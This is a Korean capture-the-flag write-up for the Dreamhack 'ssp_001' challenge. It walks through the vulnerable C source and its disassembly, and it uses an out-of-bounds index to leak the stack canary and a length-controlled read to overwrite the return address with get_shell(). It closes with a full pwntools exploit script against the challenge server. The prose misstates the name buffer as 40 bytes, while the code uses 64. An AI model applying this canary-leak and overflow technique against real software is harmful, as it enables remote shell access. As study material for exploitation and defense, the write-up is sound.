ssp_001
https://dreamhack.io/wargame/challenges/33
소스코드를 확인해보면
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
get_shell()의 주소로 덮으면 플래그를 획득할 수 있는 것으로 보인다.
F를 입력하면 box에 입력을 받고 P를 입력하면 print_box()함수를 호출하여 해당 인덱스의 값을 출력한다. E를 입력하면 name_len에 이름의 크기를 입력하고 미리 적은 이름의 크기만큼 이름을 입력받는다.
gdb로 메인함수를 열어보면
pwndbg> disassemble main
...
0x0804886c <+321>: mov edx,DWORD PTR [ebp-0x8]
0x0804886f <+324>: xor edx,DWORD PTR gs:0x14
해당 부분이 카나리 값 비교임을 알 수 있다. 카나리는 [ebp-0x8]에 위치한다.
위로 다시 돌아가서 메인함수에서
0x080487a0 <+117>: call 0x80484a0 <read@plt>
0x080487a5 <+122>: add esp,0xc
0x080487a8 <+125>: movzx eax,BYTE PTR [ebp-0x8a]
0x080487af <+132>: movsx eax,al
0x080487b2 <+135>: cmp eax,0x46
0x080487b5 <+138>: je 0x80487c6 <main+155>
0x080487b7 <+140>: cmp eax,0x50
0x080487ba <+143>: je 0x80487eb <main+192>
0x080487bc <+145>: cmp eax,0x45
0x080487bf <+148>: je 0x8048824 <main+249>
0x080487c1 <+150>: jmp 0x804887a <main+335>
0x080487c6 <+155>: push 0x804896c
0x080487cb <+160>: call 0x80484b0 <printf@plt>
0x080487d0 <+165>: add esp,0x4
0x080487d3 <+168>: push 0x40
0x080487d5 <+170>: lea eax,[ebp-0x88]
각각 F, P, E와 비교하고 있고, main+155를 따라가보면 box는 ebp-0x88에 위치하는 것으로 확인할 수 있다.
비슷하게
0x080487a0 <+117>: call 0x80484a0 <read@plt>
0x080487a5 <+122>: add esp,0xc
0x080487a8 <+125>: movzx eax,BYTE PTR [ebp-0x8a]
에서는 select가 [ebp-0x8a], 비슷한 원리로 C코드와 어셈블리 코드를 매치시켜나가면
+--------------------+ <- ebp - 0x94 (idx)
| idx |
+--------------------+ <- ebp - 0x90 (name_len)
| name_len |
+--------------------+ <- ebp - 0x8A (select[0x2])
| select[0x2] |
+--------------------+ <- ebp - 0x88 (box[0x40])
| box[0x40] |
| ... |
+--------------------+ <- ebp - 0x48 (name[0x40])
| name[0x40] |
| ... |
+--------------------+ <- ebp - 0x08 (카나리)
| 카나리 |
+--------------------+ <- ebp - 0x04 (dummy)
| dummy |
+--------------------+ <- ebp - 0x00 (sfp)
| sfp |
+--------------------+ <- ebp
ret
dummy: sfp부터 카나리까지의 빈 공간
다시 로직으로 돌아와서 P를 누르고 인덱스를 누르면 2개씩 읽어온다고 했다. 이것을 통해 box를 넘어서 카나리까지 출력해버릴 수 있다. 0x88부터 0x8까지, 즉 128바이트 길이이다. 카나리는 4바이트이므로 4번, 131 130 129 128까지 수행해주면 된다. 그러면 카나리 릭이 성공한다.
그 이후에 get_shell()의 주소로 덮어씌워주면 된다. 이것은 gdb에서 확인해도 되지만 ELF를 써서 가져와도 된다.
name을 입력받는 곳에서 name 40바이트, 카나리(실제값), 더미와 SFP 각각 4바이트씩 해서 RET까지 온 후 get_shell()의 주소로 가게 하면 된다.
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
p = remote("host1.dreamhack.games", 17265)
e = ELF("./ssp_001")
get_shell = e.symbols['get_shell']
canary = b""
i = 131
while i >= 128:
p.sendlineafter("> ", 'P')
p.sendlineafter("Element index : ", str(i))
p.recvuntil("is : ")
canary += p.recvn(2)
i = i - 1
canary = int(canary, 16)
slog("canary", canary)
payload = b'A' * 64
payload += p32(canary)
payload += b'B' * 4 # dummy
payload += b'C' * 4 # SFP
payload += p32(get_shell)
p.sendlineafter("> ", 'E')
p.sendlineafter("Name Size : ", str(len(payload)))
p.sendlineafter("Name : ", payload)
p.interactive()